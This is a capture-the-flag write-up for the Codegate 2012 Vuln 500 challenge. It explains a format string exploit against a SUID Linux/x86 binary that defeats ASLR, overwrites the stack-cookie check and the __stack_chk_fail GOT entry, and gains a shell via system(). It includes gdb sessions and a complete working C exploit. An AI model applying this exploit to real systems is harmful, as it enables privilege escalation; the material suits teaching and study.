This is my writeup for the Vuln 500 challenge in the Codegate Quals 2012 competition.
The vulnerability is a straight forward format string vulnerability in a SUID Linux/x86 program. Since ASLR & NX was activated, it was not quite as straight forward to exploit though. Since partial RELRO was used as well, DTORS was read-only, but the GOT still writable. The only function call after the vulnerability is triggered is to __stack_chk_fail() though, and this is only called if the stack cookie for main() has been corrupted.
One way to exploit this vulnerability would be to use a ROP based payload, chaining gadgets from within the (non-randomized) .text section of the binary, and/or from glibc by bruteforcing its base address. Since a pointer to the format string was passed as the first argument of printf() right before this, we can return directly into system() which will use the format string pointer as its argument. This makes things a whole lot easier for us. :D
We still have to overcome the ASLR though, and we need to overwrite both the stack cookie on the randomized stack and the GOT-entry for __stack_chk_fail() with the address of system() in glibc which has a randomized base address. Looking at the stack pointer value between different executions about 20 bits of its address seems to be randomized though, and about eight bits of the glibc base address. This means that a bruteforce attack will take quite some time, unless we can figure out a way to exploit it more efficiently.
Fortunately, there are a few shortcuts. First of all, instead of overwriting the stack cookie on the stack, we can overwrite the value it checks the cookie against instead. This is stored at %gs:0x14, which is mapped to an address that is randomized as well, but that always seems to be located at a fixed offset beneath the glibc base address. See example below, the cookie is always stored at the system() address minus 0x39a2c in this particular program. This means we only have to bruteforce the glibc base address, which only has about eight bits randomized.
yesMan@ubuntu:/tmp/.x.$ gdb -q X Reading symbols from /tmp/.x./X...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x8048477 (gdb) r Starting program: /tmp/.x./X Breakpoint 1, 0x08048477 in main () (gdb) x/i system 0xb768e100: sub $0xc,%esp (gdb) x/2i system-5 0xb768e0fb: mov $0x0,%edi 0xb768e100 : sub $0xc,%esp (gdb) x/x system-0x39a2c 0xb76546d4: 0x83338200 (gdb) x/8i$pc => 0x8048477 : and $0xfffffff0,%esp 0x804847a : push %edi 0x804847b : push %ebx 0x804847c : sub $0x138,%esp 0x8048482 : mov 0xc(%ebp),%eax 0x8048485 : mov %eax,0x1c(%esp) 0x8048489 : mov %gs:0x14,%eax 0x804848f : mov %eax,0x12c(%esp) (gdb) b *0x804848f Breakpoint 2 at 0x804848f (gdb) c Continuing. Breakpoint 2, 0x0804848f in main () (gdb) i r eax eax 0x83338200 2201190912
Using this, we can exploit it in within a couple of hundred attempts, which doesn’t take long. Note that we will use system-5 instead of the direct address of system(), since the latter happens to contain a NUL-byte, and the instruction at system()-5 is “harmless” (it just moves zero to edi, and does not dereference memory or anything else that might cause a crash).
There is, however, an even better way to do it. When “ulimit -s unlimited” / setrlimit(RLIMIT_STACK, {RLIM_INFINITY}) is used to make the stack as large as possible, glibc will always be mapped at the same address. This means we don’t have to do any bruteforcing at all, so our exploit will always work on the first attempt. In this case, the cookie at %gs:0x14 moves to a fixed address mapped after glibc instead of before it though.
yesMan@ubuntu:/tmp/.x.$ cat x.c #includeunsigned int get_tcb() { __asm__("movl %gs:0, %eax"); } int main(void) { unsigned int cookie_addr = get_tcb() + 0x14; printf("%08x\n", cookie_addr); return 0; } yesMan@ubuntu:/tmp/.x.$ gcc -o x x.c yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done b763c6d4 b76af6d4 b760f6d4 b75e16d4 b77616d4 yesMan@ubuntu:/tmp/.x.$ ulimit -s unlimited yesMan@ubuntu:/tmp/.x.$ for i in `seq 1 5`; do ./x; done 4017e6d4 4017e6d4 4017e6d4 4017e6d4 4017e6d4 yesMan@ubuntu:/tmp/.x.$ ldd x linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000) /lib/ld-linux.so.2 (0x40000000) yesMan@ubuntu:/tmp/.x.$ ldd /home/yesMan/X linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000) /lib/ld-linux.so.2 (0x40000000) yesMan@ubuntu:/tmp/.x.$ gdb -q x Reading symbols from /tmp/.x./x...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x80483f2 (gdb) r Starting program: /tmp/.x./x Breakpoint 1, 0x080483f2 in main () (gdb) x/i system 0x4005d100 : sub $0xc,%esp
Since my test program and the vulnerable programs are both linked to the same libraries, the addresses will be the same.
The last address we need to determine is the address to the GOT-entry for __stack_chk_fail():
yesMan@ubuntu:~$ objdump -R X | grep stack 0804a010 R_386_JUMP_SLOT __stack_chk_fail
The final version of my exploit is as follows:
#include#include #include #include #include #define ADDR_SYSTEM 0x4005d100-5 #define ADDR_COOKIE 0x4017e6d4 #define GOT_STACK_CHK_FAIL 0x0804a010 #define CMDLINE "sh" #define NUM_POPS 11 #define CMD_MAX 64 int main(int argc, char **argv) { unsigned int system_hi, system_lo, num_pops; char *cmdline = CMDLINE, buf[256], *cp; struct rlimit rlim; unsigned int *p; if (argc >= 2) { if (strlen(cmdline) > CMD_MAX-2) { fprintf(stderr, "Too large command line\n"); return 1; } cmdline = argv[1]; } system_hi = ADDR_SYSTEM >> 16; system_lo = ADDR_SYSTEM & 0xffff; num_pops = NUM_POPS + CMD_MAX / 4; memset(buf, '#', sizeof(buf)); strncpy(buf, cmdline, strlen(cmdline)); buf[strlen(cmdline)] = ' '; p = (unsigned int *) &buf[CMD_MAX]; *p++ = GOT_STACK_CHK_FAIL + 2; *p++ = GOT_STACK_CHK_FAIL; *p++ = ADDR_COOKIE; cp = (char *) p; snprintf( cp, &buf[sizeof(buf)]-cp, "%%%uu%%%u$hn%%%uu%%%u$hn%%%u$n\n", system_hi-12-CMD_MAX, num_pops, system_lo-system_hi, num_pops+1, num_pops+2 ); rlim.rlim_cur = RLIM_INFINITY; rlim.rlim_max = RLIM_INFINITY; if (setrlimit(RLIMIT_STACK, &rlim) == -1) { perror("setrlimit"); return 1; } execl("/home/yesMan/X", "X", buf, NULL); perror("execve"); return 1; }
This is the output when running it:
yesMan@ubuntu:/tmp/.x.$ gcc -o xpl xpl.c yesMan@ubuntu:/tmp/.x.$ ./xpl 'cat /home/yesMan/password' ... Format_String_Bug_Hunter!@#$
How did you know that the address of %gs:0x14 is system() address minus 0x39a2c?